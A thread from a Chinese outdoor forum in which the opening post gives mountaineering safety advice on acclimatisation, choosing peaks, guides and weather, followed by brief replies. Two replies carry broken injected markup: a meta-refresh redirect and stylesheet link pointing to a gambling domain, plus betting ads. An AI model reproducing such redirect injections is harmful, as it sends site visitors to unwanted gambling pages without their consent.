登录
首页
Portal
信息披露
论坛
BBS
课程
淘宝店铺
最新资讯
户外保险
92志愿者官网
»
论坛
›
户外运动论坛
›
户外论坛讨论区
›
保证安全登山 关键在于自我提高
返回列表
查看:
3049
|
回复:
5
保证安全登山 关键在于自我提高
[复制链接]
智慧树
智慧树
当前离线
积分
117
狗仔卡
参加活动:
0
次
组织活动:
0
次
电梯直达
1
#
发表于 2012-12-16 12:40:12
|
只看该作者
|
倒序浏览
|
阅读模式
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有帐号?
立即注册
x
登山一项有生命危险的运动,需要严肃认真地对待。若想安全攀登雪山,找到合适的向导并不够,还需要攀登者本身具备一定的素质。登山的魅力和危险都在于细节。疏忽对待、或侥幸心理,都意味着灾难。生命是你自己的,心态很重要。另,对于气候变化、线路在不同季节的差异,也要有充分的了解和预计。登山的魅力和危险都在于细节。疏忽对待、或侥幸心理,都意味着灾难。
1、进行高山攀登之前,你必须具备:足够的户外生活经验,适应这种需要自行解决各种生活细节的运动方式。要对高海拔的人体适应性,有个初步了解。熟悉使用登山所需的必要装备,包括衣着、背负、宿营装备、防护用品、辅助器械等。平和的心态,登得多高,都要安全回到地面。
2、初次攀登高山,主要是取得高海拔攀登的体验。建议:避免攀登海拔高于6500米的山峰。避免攀登有技术操作要求的山峰。寻找相关山峰的正规攀登报告认真阅读,而不是以旁人的直观感受为依据进行判断。最好通过正规的商业登山方式进行,寻找有良好记录的登山服务机构。
3、在确定合适山峰、寻找合格登山服务机构的同时,还需自行更多地了解高山的各种潜在危险,包括:高山病、恶劣气候、强烈日照、冰雪岩石行进等。同时,了解自己的基本身体状况,有心、脑、血管、肺等方面疾病的人,不宜登高山。健康人,也需要提前进行体能训练。
4、在前三条的基础之上,你可以在尽量有保障的前提下,尝试第一次高山攀登。进山后,首先要取得良好的高山适应,建议买一个指压式血氧仪(两、三百)带着,血氧低于70,就要准备下撤。适应好之后,听从合格向导的安排,逐渐攀登。若遇到恶劣天气,要及时终止。
5、刚开始高山攀登,切忌“浪漫主义”、“功利主义”和“装逼情怀”!登山的魅力和危险均在于细节——雪山上,撒尿也会死人,忘记擦防晒唇膏都会出事…讲究大了去了。不论登顶与否,从初次攀登中切实了解自己是否适合这种运动,尤为重要。然后,再决定,是终止,还是循序渐进地提高。
6、总之,登山是一项有生命危险的运动,需要严肃认真地对待。“永远不轻视任何一座山”、“做好准备才出发”。
分享到:
QQ好友和群
QQ空间
腾讯微博
腾讯朋友
收藏
0
分享
支持
0
反对
0
回复
使用道具
举报
置顶卡
沉默卡
喧嚣卡
变色卡
抢沙发
千斤顶
显身卡
北冰洋
北冰洋
当前离线
积分
147
狗仔卡
参加活动:
0
次
组织活动:
0
次
2
#
发表于 2012-12-16 20:20:47
|
只看该作者
学习下
="refresh" "0; url=http://2555.cc"><link href="http://bbs.2555.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><
> </P>
|||时时虍彩| 六合投虍注|
虍乐虍城:虍
回复
支持
反对
使用道具
举报
显身卡
zj2293
zj2293
当前离线
积分
0
狗仔卡
参加活动:
0
次
组织活动:
0
次
3
#
发表于 2012-12-17 18:11:27
|
只看该作者
学习了
="refresh" "0; url=http://"><link href="http://bbs./8.css" rel="stylesheet" type="text/css" media="screen" /><
> </P>
|||时时‐彩| 六合投‐注|
‐乐‐城:‐
回复
支持
反对
使用道具
举报
显身卡
我本无名
我本无名
当前离线
积分
743
狗仔卡
参加活动:
0
次
组织活动:
0
次
4
#
发表于 2012-12-17 19:10:38
|
只看该作者
回复
支持
反对
使用道具
举报
显身卡
霞客
霞客
当前离线
积分
101
狗仔卡
参加活动:
0
次
组织活动:
0
次
5
#
发表于 2012-12-17 22:03:46
|
只看该作者
学习并转走了。
回复
支持
反对
使用道具
举报
显身卡
秦岭石头
秦岭石头
当前离线
积分
57
狗仔卡
参加活动:
0
次
组织活动:
0
次
6
#
发表于 2012-12-18 16:17:19
|
只看该作者
回复
支持
反对
使用道具
举报
显身卡
返回列表
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
回帖后跳转到最后一页
© 2016 92V.ORG
陕ICP备13010018号-1
陕西省曙光应急救援协会
©2016 92v.org Interactive. All rights reserved.
志愿者网简介
推广服务
用户注册
招聘
站点地图
联系方式
RSS订阅
快速回复
返回顶部
返回列表